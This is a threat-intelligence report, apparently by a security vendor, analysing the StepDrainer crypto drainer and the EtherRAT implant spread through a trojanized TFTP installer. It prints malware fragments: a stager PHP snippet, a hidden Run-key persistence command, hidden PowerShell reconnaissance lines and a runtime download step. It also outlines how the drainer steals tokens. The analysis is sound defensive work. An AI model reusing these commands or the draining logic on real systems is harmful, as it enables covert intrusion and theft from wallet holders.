Crypto Drainers as a Converging Threat: Insights into Emerging Hybrid Attack Ecosystems

LevelBlue SpiderLabs’ Cyber Threat Intelligence Team continues to observe a progressive convergence between traditional cybercrime activity and attacks targeting cryptocurrency users.

Historically, credential stealing malware, botnet infrastructures, loader frameworks, and exploitation chains operated separately from crypto focused threats such as fake trading portals, rogue wallet extensions, and drainer frameworks designed to extract digital assets. Over the past two years, however, this separation has eroded significantly.

Infrastructure once dedicated for credential theft is now routinely repurposed to host wallet‑phishing content, while actors traditionally associated with commodity malware operations have begun incorporating drainer tooling as an additional revenue stream. This trend reflects patterns identified in our prior investigation into a multi‑stage ClickFix stealer campaign, which highlighted the meaningful overlap between malware‑delivery infrastructure and cryptocurrency‑themed scam ecosystems. A separate macOS‑focused analysis of the MioLab (Nova) stealer further illustrates the same shift, showing how platform‑specific infostealers increasingly integrate cryptocurrency‑theft functionality into broader, multi‑vector intrusion workflows.

What makes this convergence particularly notable is the rapid maturation of the drainer economy itself. Modern drainers have evolved far beyond early, simplistic JavaScript payloads, becoming automated and resilient systems capable of extracting assets across multiple blockchains with minimal user interaction. Their operational footprint is smaller than that of ransomware, their visibility is lower than many credential‑harvesting operations, and they are supported by a well‑developed underground marketplace offering turnkey drainer‑as‑a‑service kits. These factors have lowered the barrier to entry and enabled a wider spectrum of threat actors to embed draining capabilities directly into established intrusion workflows.

As a result, techniques once associated primarily with Web2 compromises are now intersecting directly with Web3‑focused financial theft, forming a blended attack ecosystem rather than distinct, siloed threat categories.

This report investigates two case studies that exemplify this convergence in depth. The first, StepDrainer, is a multichain crypto drainer observed operating across more than 20 networks including ETH, BNB, Arbitrum, and Polygon that abuses Web3Modal and write-off methods such as Seaport and Permit v2 to present victims with convincing wallet-connection interfaces, automatically transferring stolen assets to attacker-controlled addresses while prioritizing the highest-value holdings first. The second, EtherRAT, represents this blended threat model in its most literal form: a hybrid Windows implant delivered via a trojanized Trivial File Transfer Protocol (TFTP) installer, bringing traditional malware delivery tradecraft directly into the crypto-theft pipeline. Together, these two cases illustrate how divergent entry points can converge on the same objective: the silent, automated extraction of digital assets with minimal forensic footprint.

High‑Fidelity Lures as an Initial Access Vector

Before diving into the two case studies, it is useful to first understand how modern drainers actually operate and why their techniques have become so effective across diverse attack surfaces. Modern drainer operations consistently rely on highly polished social‑engineering surfaces as their primary initial access vector. Unlike early crypto‑theft schemes that depended on crude phishing pages or obviously fraudulent interfaces, contemporary drainers are introduced through web properties that imitate the aesthetics, functionality, and behavioral patterns of legitimate financial and analytic platforms. This evolution reflects a broader shift toward infrastructure designed to minimize suspicion during the earliest stages of victim interaction.

Drainer operators frequently deploy visually refined trading portals that resemble mainstream fintech dashboards. These interfaces present responsive mobile layouts, gradient‑driven styling, market charts, portfolio elements, and clear calls to action such as “Start trading.” Their purpose is straightforward: to create a credible environment that encourages users to connect their wallets or proceed through a series of trust‑reinforcing steps.

Figure 1. Crypto‑trading promotional interface styled with mobile dashboards and a “Start trading” button.

In parallel, drainer campaigns commonly imitate blockchain analysis or compliance platforms. These lure pages use neutral color palettes, chart components, tabbed data views, and risk‑classification elements to align themselves with recognized on‑chain analytics brands. The perceived legitimacy of these environments increases the likelihood that users will connect their wallets as part of what appears to be a routine verification or investigative workflow.

Figure 2. Compliance‑themed dashboard displaying address entries, risk categories, and an investigation panel.

Once a wallet is connected, the drainer transitions into its manipulation phase. Victims are shown what appear to be typical wallet confirmation windows, except the information displayed inside them is falsified to guide decision‑making. A common pattern is the appearance of an incoming-token confirmation showing attractive positive values. These screens are engineered to exploit a user’s assumption that a wallet presenting incoming assets must be safe to approve.

Figure 3. Wallet confirmation overlay displaying fabricated incoming values of +500 USDT.

Ethereum‑targeting drainers often escalate this by simulating smart‑contract execution screens. These prompts display sender and receiver fields, method names labeled “Execute,” and standard network‑fee parameters. While the formatting mirrors legitimate interactions, the underlying approval typically grants broad token‑spending permissions or initiates unauthorized transfers.

Figure 4. Transaction request showing “Method: Execute” and misleadingly positive “You receive” values.

Some wallets display warnings generated by security extensions when they detect malicious patterns. However, users who trust the interface or believe they are performing a legitimate operation often override these warnings and proceed.

Figure 5. Deceptive‑request warning generated by a wallet‑security extension.

Solana‑targeting drainers introduce an additional trick. Solana is a high‑performance blockchain where every transaction requires a minimal balance of SOL (its native token) to pay network fees. Drainers frequently abuse this model by generating fake Solflare‑style warnings that prompt the user to “top up” their balance. Because users expect to pay network fees, they unknowingly provide the drainer with the exact SOL required for the theft.

Figure 6. Solflare‑styled prompt telling the user their balance is insufficient and encouraging a top‑up by 0.10 SOL.

Drainers operating on Ethereum and other EVM‑compatible chains often request unlimited token‑spending approvals across multiple assets, showing them in a normal‑looking summary. The interface presents harmless or beneficial messages, while in reality, the approval grants the drainer full control over the victim’s assets.

Figure 7. Wallet prompt showing unlimited approvals for multiple high‑value assets in exchange for an insignificant incoming reward.

Once these approvals are granted, draining begins almost immediately. Operators typically monitor stolen assets through Telegram‑based dashboards, which present the tokens withdrawn, their dollar values, transaction IDs, and timestamps in real time.

Figure 8. Drainer operator’s log showing extraction of SOL, USDT, WBTC, and other tokens.

The marketing surrounding these tools is increasingly polished and professionally produced as well. Underground developers advertise drainer packages with support for multiple blockchains, dozens of wallets, and optional premium modules such as NFT draining or phishing‑page bypass features. These graphics resemble legitimate enterprise software marketing material, reflecting the industrialization of the drainer ecosystem.

Figure 9. Drainer comparison graphic advertising multi‑wallet compatibility, NFT draining, and premium bypass capabilities.

Figure 10. Multichain drainer advertisement promoting 100+ wallet support and NFT extraction capabilities.

Collectively, these lure patterns illustrate how draining workflows rely on trust‑building surfaces designed to mimic legitimate financial ecosystems. They create a pathway from initial contact to high‑risk on‑chain approvals while withholding any cues that might suggest malicious intent. These mechanisms form the operational base upon which more advanced draining architectures are able to function effectively.

StepDrainer: How AI Branding Amplifies Drainer‑as‑a‑Service Operations

Threat actors increasingly adopt AI‑themed interfaces as a mechanism for enhancing the credibility of malicious websites. AI‑driven dashboards, personal assistants, and automation platforms have become widely recognized, making their visual patterns and product claims familiar to both consumer and enterprise users. Drainer operators leverage this familiarity by constructing lures that resemble legitimate AI ecosystems rather than traditional phishing pages.

An illustrative example of this trend involves the impersonation of OpenClaw, a legitimate and rapidly growing open‑source personal AI assistant. Because OpenClaw’s real repository demonstrates measurable public activity, references to it can create a surface‑level sense of authenticity in fraudulent environments, even when there is no functional relationship between the AI tool and the services presented by the malicious website.

Figure 11. Star‑history chart showing the rapid growth trajectory of the legitimate OpenClaw repository as of April 7, 2026, based on data retrieved from star‑history.com.

Operators apply this theme through an interface presented as an “AI‑powered trading assistant,” featuring a stylized AI mascot, gradient backgrounds, rounded UI elements, and claims of automated portfolio analysis. Users are encouraged to connect their wallets so the supposed AI system can “analyze” their on‑chain activity. The visual and conceptual framing aligns closely with contemporary AI dashboards, making the lure convincing enough that users may engage without recognizing the underlying risk.

Figure 12. The OpenClaw‑style landing page on scanclaw[.]live.

During pivoting analysis, the campaign was traced back to a multichain automated crypto-draining malware known as “StepDrainer”. StepDrainer is a Malware-as-a-Service (MaaS) platform designed to extract a wide range of digital assets from victims’ wallets, including tokens and popular NFT collections, while claiming support for more than 20 blockchain networks. It also includes features such as automated asset transfers, support for popular mobile wallets, encrypted Telegram logging, and multiple draining techniques targeting ERC-20 tokens and NFT approvals. The crypto drainer malware was reportedly sold for around $750 for the full source code, or $150 for a split version that includes a 20% commission taken from each successful theft.

Figure 13. StepDrainer admin login panel used by operators to access the drainer’s control dashboard.

From the StepDrainer source code, below is the panel infrastructure used in a typical campaign:

/             
├── AdminPanel/
│   ├── dashboard.exe         
│   ├── compiler.php
│   ├── config.php
│   ├── domains.php
│   ├── index.php
│   ├── login.php
│   ├── logs.php
│   ├── profits.php
│   ├── settings.php
├── <stager>.php   
├── <stager>.js
├── Drainer.sol
├── Readme
├── seaport.js 
├── settings.js


Stager API Endpoint

The stager script is responsible for preparing and delivering the next stage of the attack to support the crypto draining operation. This proxy script exposes a minimal API interface through query parameters, which determines how incoming requests are routed to the backend infrastructure.

• e=ping_proxy — returns “pong” response, mainly used for proxy availability checks.

• e=<endpoint> — forwards the request to the backend using the EVM routing logic.
• s=<endpoint> — forwards the request using the Solana routing logic.

if ($_GET['e'] === 'ping_proxy') {
    header('Content-Type: text/plain');
    echo 'pong';
    exit;
} else if (isset($_GET['e'])) {
    $endpoint = urldecode($_GET['e']);
    $endpoint = ltrim($endpoint, '/');
    $proxy->handle($endpoint, $proxy->EVM_TYPE);
}else if (isset($_GET['s'])){
    $endpoint = urldecode($_GET['s']);
    $endpoint = ltrim($endpoint, '/');
    $proxy->handle($endpoint, $proxy->SOL_TYPE);
} else {
    http_response_code(400);
    echo 'Missing endpoint';
}


Upon pivoting of the available API endpoints, this script was identified across more than 3,000 domains:

Figure 14. StepDrainer stages API endpoints across different malicious domains.

Solana Mode

If the request contains the “s” parameter, the value is interpreted as an endpoint path. The value is URL-decoded and normalized by removing any leading slash before being forwarded to the proxy handler operating in Solana mode. This route dynamically constructs a request to a randomized PHP endpoint, where both the variable names and URL paths are randomized to evade signature-based detection.

Figure 15. Solana mode routing logic executed by the stager script and the randomized PHP backend endpoint format.

These parameters reference a secondary JavaScript resource under the URL path “/@v1/cdn/js/”. The endpoint ultimately delivers a heavily obfuscated next-stage payload.

Figure 16. An example of a heavily obfuscated JavaScript payload delivered by the randomized path.

Further pivoting shows that the script is injected into webpages as well. The stager script dynamically injects a <script> element at runtime using constructs like document.createElement() and document.head.append(), with Object.assign() used to set properties such as the script’s source URL. This approach allows the malware to fetch additional code from a server-side PHP loader while keeping the injection process invisible to the user.

Figure 17. Dynamic script injection used to retrieve the drainer payload.

If neither of the previous versions is used, the script is observed to issue a JSON‑RPC request in various Solana blockchain RPC endpoints to query account information.

• "hXXps://corsproxy.io/?hXXps://api.mainnet-beta.solana[.]com"
• "hXXps://solana.publicnode[.]com"
• "hXXps://mainnet.helius-rpc[.]com/"
• "hXXps://api.mainnet-beta.solana[.]com"
• "hXXps://rpc.ankr[.]com/solana"
• "hXXps://solana-mainnet.rpc.extrnode[.]com"

The script invokes the “getAccountInfo” method to query the following account: “8ycauMwVE61B4uWz87B2k2G8mMK7iFjRoBHooaVAcP4k”. This RPC method is commonly used to retrieve the state and metadata of on-chain accounts, including balances, ownership information, and stored account data.

In the observed case, the request retrieves data stored within the specified account. The returned account data from the RPC response is encoded in Base64 format, which is the default encoding used by Solana RPC for account data.

Figure 18. Base64‑encoded data retrieved from the Solana account queried via getAccountInfo().

Decoding the returned Base64‑encoded data reveals a domain used by the campaign infrastructure. The script then constructs a request to this domain while maintaining the same resource path pattern observed earlier, specifically under “/@v1/cdn/js/”.

Figure 19. Decoded Base64 configuration revealing the attacker‑controlled domain referenced by the on‑chain Solana account.

The Solana account “8ycauMwVE61B4uWz87B2k2G8mMK7iFjRoBHooaVAcP4k” has been active since September 2025 and functions as a campaign configuration store.

Figure 20. On‑chain activity overview for the Solana account used as a configuration store, showing multiple transactions referencing campaign domains.

Analysis shows that it has generated multiple domains, which are used to deliver next-stage payloads that have been referenced in over 100 on-chain transactions.

EVM Mode

Alternatively, if the request contains the “e” parameter (other than ping_proxy), the proxy interprets it as an endpoint path. The same process mentioned earlier is performed, but the request is routed using the EVM mode. This mode targets infrastructure associated with Ethereum Virtual Machine blockchains, such as Ethereum and Base. It enables the malware to relay requests for wallet interactions, smart contract calls, or other EVM-based operations.

Interestingly, if invalid data or an unexpected endpoint is supplied, the API does not fail silently. Instead, it reveals the domain controlled by the attacker: 8kwfaa30jtlnwi[.]com.

Figure 21. API error output revealing the attacker’s fallback command-and-control (C2) domain when unexpected EVM‑mode input is supplied.

This domain is also dynamically retrieved from a smart contract address stored on the blockchain: 0xe9d5f645f79fa60fca82b4e1d35832e43370feb0.

Web3Modal for Social Engineering Attacks

Upon decoding the next stage script, it generates a configuration table mapping multiple cryptocurrency-related services and wallet platforms. Each entry specifies a primary URL, often with referral parameters, alongside a secondary resource path that follows a consistent structure (e.g., /ul/browse/{URL} or /dapp/{URL}). This design allows the malware to interact with multiple wallet providers and web3 platforms in a programmatic way.

Figure 22. vt()function responsible for generating wallet icon URLs used by Web3Modal.

The script leverages Web3Modal infrastructure to populate the wallet selection modal with legitimate wallet branding, making the interface appear authentic to victims while prompting them to connect their wallets. Below is the predefined list of supported wallets:

Phantom, Zerion, Ledger Wallet, Coinbase Wallet, Backpack, Solflare, Trust Wallet, Bybit Wallet, Math Wallet, TokenPocket, Exodus, Glow Wallet, OKX Wallet, MetaMask, Jupiter Wallet, Bitget Web3, Magic Eden Wallet, Anchorage Digital, GK8, Bron, SOC Wallet, Tobi, ECOIN Wallet, Oblio Wallet, Blanq, W3 Wallet, T+ Wallet, DaffiOne, Squirrel Wallet, UP.io Wallet, Nest Wallet, NewWallet, Qubetics Wallet, Plena App, Gridlock Wallet, Venly, Dokwallet, VGX Wallet, Flash Wallet, CoinEx Wallet, Crossmint, TastyCrypto, Zypto, MaxWallet, Rezor, Cogni.

The UUID values embedded in the configuration entries correspond to wallet identifiers used by the Web3Modal service. It retrieves official wallet icons from the Web3Modal API and dynamically generates CSS styles for the wallet connection modal. These components allow the phishing page to render a realistic wallet connection interface that closely mimics legitimate Web3 modal dialogs.

Figure 23. Web3Modal wallet‑selection grid showing icons for supported wallets.

The script subsequently attempts to retrieve previously stored configuration data for initialization. If present, the data is parsed to restore session-related values such as authentication tokens, operating mode parameters, and signature-related information. These values are then applied to the runtime environment to reinitialize the script’s operational state.

Figure 24. Recovered initialization data used to restore the script’s previous session state.

The script also includes instructional and error messages related to wallet transactions.

Figure 25. Displayed transaction‑related prompts and error messages used during wallet interactions.

To integrate with the page, the script injects a modal controller into global browser objects, including the web3 namespace. This allows the script to manage wallet connection dialogs and interact with wallet-related UI elements within the page context.

Figure 26. QR code produced by Web3Modal to trigger a wallet deep‑link connection.

During analysis, the QR codes from the Web Modal were observed to resolve into generated deep links based on the selected wallet. Notably, these deep links ultimately redirect users to URLs hosted on “Vercel”, a cloud platform commonly used for hosting and deploying web applications and serverless front-end services.

• hXXps://<target wallet>/dapp/hXXps://<subdomain>.vercel.app/app/company/<random>?xxx=<Base64 encoded Initial Parameter>

• hXXps://<target wallet>/ul/browse /hXXps://<subdomain>.vercel.app/app/company/<random>?xxx=<Base64 encoded Initial Parameter>

Figure 27. Deep‑link redirection flow pointing users to attacker‑controlled Vercel pages.

One of the first structures observed within the parameters of the Vercel-hosted URL is a Base64-encoded data blob that is processed when the application loads. This encoded value contains initialization data that defines the context in which the application was opened. The decoded data is a JSON object containing environment information used by the application. The referrer field identifies the originating website that initiated the wallet connection flow, while walletData specifies the wallet type selected by the user within the Web3 modal:

{

"initialData": {

"referrer": <domain>,

"walletData": <wallet>,

"wl": false

}

}

Inside the response from the Vercel‑hosted page, the application embeds a serialized configuration object that initializes the client‑side wallet interaction logic. This configuration contains parameters related to the user session, wallet type, and backend communication endpoints. Once loaded, the application reads the embedded configuration data and establishes communication with the backend infrastructure previously identified in the campaign.

Figure 28. Serialized configuration object used to set wallet parameters and backend endpoints.

The frontend configuration also reveals the backendUrl service used by the application. This backend domain matches the DGA domain previously observed in the stager infrastructure that was retrieved in a Solana-based RPC query.

Main Crypto-Drainer Logic

This “settings.js” script is a browser‑side wallet drainer written in JavaScript using Ethers.js and Web3.js. The script operates entirely in the browser and relies on the wallet provider injected by extensions.

Initialization

At the beginning of the code, the script initializes the following blockchain access, logging, and transfer settings:

The first operational step occurs in the connect() function. This function establishes communication with the victim’s wallet.

Figure 29. connect() function snippet showing wallet connection and nonce retrieval.

It verifies that the wallet is connected to the Ethereum mainnet. If not, the script attempts to switch networks. After the network check, the script requests access to the wallet. Once the user accepts, the attacker gains access to the wallet address. The script then retrieves two transaction counters:

• victimNonce – tracks the victim’s transactions
• initiatorNonce – tracks the attacker’s transactions

These values help ensure that transactions are constructed and executed in the correct order.

Wallet Reconnaissance

The analyzeWallet() function performs reconnaissance on the victim’s wallet to identify high-value assets worth stealing.

Figure 30. analyzeWallet() output showing evaluation of the victim’s assets.

Crypto Theft

The routeStealling() function determines which theft method to use. If the wallet contains NFTs that can be stolen through OpenSea’s Seaport protocol, the script attempts that method first. Otherwise, it proceeds to drain assets individually.

Figure 31. routeStealling() logic showing how the script selects the theft method.

• stealETH() - This function attempts to transfer ETH from the victim’s wallet. The script first retrieves the current ETH price from CoinGecko to estimate the USD value of the victim’s balance. It then checks the available ETH and constructs a transaction that transfers most of the balance while leaving enough funds behind to cover gas fees for subsequent operations.

• stealCollection() - This function targets NFTs owned by the victim. If the attacker obtains the necessary approval, the script invokes a malicious contract function such as batchTransfer to move multiple NFTs from the victim’s wallet to the attacker’s address. For each collection, it extracts:

  • contract address

  • floor price

  • token IDs

• permitSteal() - This function targets ERC‑20 tokens that support EIP‑2612 permit signatures. Instead of requiring an on‑chain approval transaction, the script requests a signed permit message from the victim. Once the signature is obtained, the attacker can submit it to authorize and execute a token transfer.
• tokenSteal() - This function targets standard ERC‑20 tokens that do not support permit signatures. The script requests a traditional approve() transaction from the victim, allowing the attacker to transfer tokens using transferFrom().

EtherRAT: A Hybrid Windows Implant Distributed Through a Trojanized TFTP Installer

As drainers continue to evolve, another trend emerges that further reinforces the convergence of conventional malware and Web3‑focused financial theft: the use of hybrid implants that behave like full remote‑access trojans (RATs) while also interacting with blockchain infrastructure. EtherRAT represents exactly this shift. Originally documented as a JavaScript‑based Node.js implant deployed in Linux environments during the exploitation of server‑side vulnerabilities, the malware has since appeared in Windows-focused variants distributed via MSI installers. The sample investigated by SpiderLabs aligns strongly with this Windows variant category, except in this case, EtherRAT was delivered through a trojanized copy of a widely used administrative tool: Tftpd64.

The compromised distribution investigated by our team originated from a malicious GitHub repository impersonating the official project and offering downloads for “Tftpd64 v4.74.” Users who retrieved the ZIP or MSI file unknowingly received a bundle containing the EtherRAT implant embedded alongside legitimate‑looking components. The archive included several anomalous auxiliary files, such as .dat, .cmd, .ini, .tmp, and JavaScript stagers – which were placed in user‑accessible paths under %LOCALAPPDATA%. The placement and naming convention matched patterns already observed in Windows EtherRAT samples, where attackers hide the core JavaScript payload inside encrypted or obfuscated .dat files and rely on helper scripts to bootstrap execution.

Upon execution, the malicious MSI created a directory tree inside C:\Users\user\AppData\Local\UHpNJr\ and dropped multiple staged components, including an embedded Node.js distribution. This is a well‑established EtherRAT behavior: earlier investigations showed that the malware uses a bundled Node.js runtime to execute its JavaScript implant, avoiding reliance on the system’s own interpreter and reducing forensic visibility. The installer then registered persistence via a Windows Run key, forcing conhost.exe to invoke node.exe in headless mode at every logon, loading an obfuscated .dat file as the true payload.

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "6e4653c4b8cf" /t REG_SZ /d "conhost.exe --headless \"C:\Users\user\AppData\Local\UHpNJr\FdIYuR\node.exe\" \"C:\Users\user\AppData\Local\UHpNJr\MDHL9sstLd.dat\"" /f

Once persistence was established, EtherRAT initiated a reconnaissance sequence designed to fingerprint the host system. This included PowerShell‑driven queries for system locale, GPU details, antivirus products registered under the Windows Security Center, Active Directory domain membership, logged‑in user session status, and MachineGuid values. Each of these commands was executed with suppressed windows and no profile loading, minimizing the likelihood of user awareness:

powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain" powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct).displayName" powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name"

The malware also downloaded an additional Node.js runtime from the official distribution server using curl, validating that the attacker expected this component to be available for long‑term post‑exploitation activities. The use of legitimate infrastructure during staging is consistent with EtherRAT’s first public documentation, where analysts noted that the implant routinely retrieves Node.js directly from nodejs.org to ensure portability and reduce reliance on preinstalled system components.

curl -s -L -o "C:\Users\user\AppData\Local\Temp\Y4M3E93g4Z.zip" "https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip" tar -xf "C:\Users\user\AppData\Local\Temp\Y4M3E93g4Z.zip" -C "C:\Users\user\AppData\Local\UHpNJr\"

What distinguishes this variant from conventional RATs is its native interaction with blockchain infrastructure. Embedded inside the malicious bundle were multiple Ethereum RPC endpoints, including Flashbots, Tenderly, LlamaRPC, DRPC, MEV‑related endpoints, and public RPC aggregators. Several Ethereum wallet addresses within the payload indicate that the malware may conduct on‑chain interactions, resolve C2 beacons, or facilitate asset‑theft operations depending on operator intent. This design aligns closely with the shift toward hybrid Web2–Web3 implants noted in emerging threat reporting.

During execution, EtherRAT contacted domains such as wpuadmin[.]shop, alongside multiple RPC nodes, and handled encrypted configuration elements stored using AES‑256‑CBC with bundled keys and IVs. The splitting of payload components across .dat, .ini, and .tmp files, paired with the encryption routine, mirrors the staging workflow documented in other EtherRAT samples distributed through MSI installers in 2025-2026.

Key: HKEiuhwXjeyfy7DUcGQh9Fq0oq77IwJC70AbbsXlJgg=

IV: uyFbqWr0VM5PTfCuOFVblg==

EtherRAT’s behavior inside this case does not show direct draining capabilities by itself, but its design clearly positions it as part of a larger operational toolchain. By establishing persistence, performing system reconnaissance, and communicating with Ethereum RPC endpoints, it can act as a foothold for later stages that may include draining, information theft, C2 synchronization, or lateral movement. The presence of embedded wallet addresses and RPC traffic suggests that this variant was either intended to interface with a drainer module or to provide an access layer for operators running draining activities manually.

In the broader ecosystem context, the existence of a Windows MSI variant, packaged as a trojanized administrative tool and backed by bundled Node.js components, aligns with the evolution of EtherRAT from a Linux‑focused implant into a cross‑platform malware family. Its ability to operate in Windows environments, persist quietly, and communicate with blockchain infrastructure demonstrates how Web2 intrusion methods and Web3‑aware operations are converging into unified attack chains. In this case, the drainer‑like elements of EtherRAT appear in the form of RPC interactions and embedded wallet infrastructure, while the system‑level tactics mirror those commonly used by advanced Windows RATs.

This Trojanized TFTP installer campaign underscores that cryptocurrency‑themed threats are no longer limited to browser‑based drainers. Malware authors are increasingly embedding Web3‑compatible logic inside classic installation lures, creating hybrid threats capable of persisting inside enterprise networks while maintaining visibility into blockchain activity. EtherRAT illustrates exactly how such hybrids function — a stealthy host‑level implant with the ability to bridge traditional intrusion workflows and blockchain‑centric operations, further tightening the link between classic cybercrime and cryptocurrency‑focused malicious tooling.

Conclusion: Why These Threats Matter Beyond Crypto

Both threats examined in this report reflect a broader shift in cybercrime: cryptocurrency‑themed malware is increasingly intertwined with mainstream attack surfaces. Drainer payloads now coexist within phishing sites, software installers, AI‑themed platforms, and productivity tools — the same infrastructure non‑crypto users interact with daily.

StepDrainer illustrates how modern drainers use polished web and AI‑themed lures to automate asset theft across multiple networks, while EtherRAT shows that even traditional Windows implants are beginning to incorporate blockchain‑aware functionality. Although the two operate in different environments, both rely (directly or indirectly) on on‑chain components for configuration, routing, or asset interaction, underscoring how blockchains are becoming part of the operational toolkit rather than just the target.

As enterprises adopt AI tools, decentralized‑identity systems, and other emerging platforms, they become increasingly exposed to drainer‑proximate infrastructure. Even without a corporate crypto footprint, any compromised browser, extension, or workstation can offer attackers footholds for credential access, lateral movement, or future stages of an intrusion.

Crypto drainers are therefore no longer a niche Web3 problem. They represent a broad threat category with meaningful implications for enterprise security, requiring visibility and controls similar to those used against traditional credential‑stealing malware. As the boundary between Web2 intrusions and Web3‑focused theft continues to dissolve, organizations must account for drainer behaviors in their threat models – or risk being caught in the crossfire of an ecosystem that no longer distinguishes between crypto users and everyone else.

Indicators of Compromise